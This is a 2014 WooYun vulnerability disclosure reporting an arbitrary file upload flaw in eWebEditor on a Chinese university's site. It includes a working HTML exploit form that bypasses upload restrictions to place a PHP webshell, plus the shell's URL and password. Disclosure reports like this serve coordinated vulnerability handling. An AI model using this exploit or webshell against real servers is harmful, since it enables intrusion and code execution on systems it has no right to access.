当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-063171

漏洞标题：中北大学任意文件上传漏洞

相关厂商：中北大学

漏洞作者： black4yl

提交时间：2014-06-05 18:59

修复时间：2014-07-23 19:22

公开时间：2014-07-23 19:22

漏洞类型：文件上传导致任意代码执行

危害等级：中

自评Rank：10

漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-06-05： 细节已通知厂商并且等待厂商处理中
2014-06-09： 厂商已经确认，细节仅向厂商公开
2014-06-19： 细节向核心白帽子及相关领域专家公开
2014-06-29： 细节向普通白帽子公开
2014-07-09： 细节向实习白帽子公开
2014-07-23： 细节向公众公开

简要描述：

eWebeditoR吧,
没什么技术含量
做了一些安全,所以没进一步。

详细说明：

扫了一边目录 找到是 http://www1.nuc.edu.cn/jwc/eWebEditor/
然后就是突破上传了， 新建一个 1.htm 代码如下

<html>
<head><title>eWebeditoR3.8 for php任意文件上传</title></head>
<body>
<form action="" method=post enctype="multipart/form-data"> 
<INPUT TYPE="hidden" name="MAX_FILE_SIZE" value="512000"> 
URL:<input type=text name=url value="http://www1.nuc.edu.cn/jwc/eWebEditor/" size=100><br> 
<INPUT TYPE="hidden" name="aStyle[12]" value="toby57|||gray|||red|||../uploadfile/|||550|||350|||php|||swf|||gif|jpg|jpeg|bmp|||rm|mp3|wav|mid|midi|ra|avi|mpg|mpeg|asf|asx|wma|mov|||gif|jpg|jpeg|bmp|||500|||100|||100|||100|||100|||1|||1|||EDIT|||1|||0|||0|||||||||1|||0|||Office|||1|||zh-cn|||0|||500|||300|||0|||...|||FF0000|||12|||宋体||||||0|||jpg|jpeg|||300|||FFFFFF|||1"> 
file:<input type=file name="uploadfile"><br> 
<input type=button value=submit onclick=fsubmit()> 
</form><br> 
<script> 
function fsubmit(){ 
form = document.forms[0]; 
form.action = form.url.value+'php/upload.php?action=save&type=FILE&style=toby57&language=en'; 
alert(form.action); 
form.submit(); 
} 
</script>
</body>
</html>


上传php 马， 完了右键查看源代码 就OK
忘了，网站配置文件sql账号密码也有几个，你们顺便改了吧

漏洞证明：

http://www1.nuc.edu.cn/jwc/uploadfile/20140531220822472.php pass: ack9566

.PNG


完了就是，上传了的马,请管理员帮删一下,
win 2008 sr 限制了我， 还有就是

1.PNG


这个是上一个来的,请加强一下安全。

修复方案：

我不会修

版权声明：转载请注明来源 black4yl@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2014-06-09 08:55

厂商回复：

通知用户处理中

最新状态：

暂无